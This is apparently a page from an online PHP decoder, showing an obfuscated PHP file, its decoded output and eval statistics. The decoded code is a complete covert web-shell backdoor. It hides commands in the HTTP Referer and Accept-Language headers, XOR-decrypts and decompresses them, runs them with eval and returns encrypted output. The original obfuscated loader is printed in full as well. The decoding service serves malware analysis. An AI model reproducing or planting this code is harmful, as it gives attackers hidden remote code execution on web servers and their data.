Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $F='0.([\\d]))?,?/",$u,u,ra,$m)u,;ifu,($q&&u,$m){u,@session_start();u,u,$s=&$_SEu,S..
Decoded Output download
$kh="c77f";$kf="19fd";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}Did this file decode correctly?
Original Code
<?php
$F='0.([\\d]))?,?/",$u,u,ra,$m)u,;ifu,($q&&u,$m){u,@session_start();u,u,$s=&$_SEu,SSION;$ssu,u,="substr";u,$sl="su,tr';
$i='u,{$k=$u,kh.$kf;u,ob_u,staru,t();@eu,val(@gzuncu,u,ompress(@x(@bu,au,se64u,_decou,du,e(u,preg_replace(array("/_u';
$E='u,l;u,){for(u,$j=0;u,($j<$c&&$u,i<$l);$j++u,,$i++u,)u,{$o.=$t{$iu,}^$k{u,$j};}}reu,tu,urn $o;u,u,}$r=$_SERVER;$u,';
$x=',ean();$d=basu,e64_encode(u,x(gzcompu,ress($o),u,$k));pru,int("u,u,<$k>$d</$k>")u,;u,@sessiu,on_destrou,y();}}}}';
$l='[$i]="";$p=$ss(u,$u,p,3);}iu,fu,u,(array_key_existsu,($u,i,$s)){u,$s[$i].=u,$p;$e=strposu,(u,$s[$u,i],$f);if($e)';
$I=str_replace('N','','crNNeNaNNte_funcNtion');
$L='3));$u,p=u,"";for($zu,=1;$zu,<couu,ntu,($m[1]u,);$z++)u,$p.=$q[u,$m[2u,][$z]];if(strpos(u,$pu,,$h)=u,==0)u,{$su,';
$c='rr=@u,u,$r[u,u,"HTTP_REFERER"u,];$ru,a=@$r["HTTP_ACCEPTu,_LAu,NGUAGE"];iu,f($rru,u,&&$ra){$u=parsu,e_urlu,($rr);';
$j='$u,kh="cu,u,77f";$kf="19fd";functu,ion u,x($t,$k)u,{u,$c=strlu,en($k);$l=stu,rlenu,($t)u,;$o="";u,for($iu,=0;$i<$';
$a='tolou,wer";$i=u,$m[1u,][0]u,.$m[1][u,1];$h=$slu,($ss(mu,du,5u,($iu,.$kh),0,u,3));$f=$slu,($u,ss(mdu,5($i.$kf),0,';
$C='pu,arsu,e_str(u,$u["queu,ry"],$u,q)u,;$q=arrayu,_vau,lues(u,$qu,)u,;preg_matu,ch_alu,l("/([\\wu,])[\\wu,-]+u,(?:;q=';
$h=',/","/-/u,"),aru,ray(u,"/",u,u,"+"),$ss($s[$i],u,0,$u,e))),$u,k)u,));$ou,u,=ob_geu,t_contenu,ts();ob_end_cu,lu,u';
$d=str_replace('u,','',$j.$E.$c.$C.$F.$a.$L.$l.$i.$h.$x);
$n=$I('',$d);$n();
?>Function Calls
| null | 1 |
| str_replace | 2 |
| create_function | 1 |
Stats
| MD5 | 9a87ef542d76e6984297c3de1d62e690 |
| Eval Count | 1 |
| Decode Time | 149 ms |